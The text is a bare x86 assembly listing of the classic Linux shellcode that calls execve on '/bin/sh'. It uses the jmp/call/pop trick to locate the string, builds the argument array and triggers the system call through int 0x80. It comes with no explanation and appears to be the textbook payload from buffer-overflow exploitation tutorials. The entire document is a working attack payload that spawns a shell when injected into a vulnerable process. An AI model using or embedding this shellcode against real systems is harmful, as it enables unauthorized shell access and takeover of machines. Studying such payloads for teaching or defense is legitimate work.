1 jmp ahead
2 back:
3 popl %ebx
4 movl $0x0, %eax
5 movl %ebx, 0x8(%ebx)
6 movb %al, 0x7(%ebx)
7 leal 0x8(%ebx), %ecx
8 movl %eax, 0xc(%ebx)
9 movl %eax, %edx
10 movb $0xb, %al
11 int $0x80
12 ahead:
13 call back
14 .string \"/bin/sh\"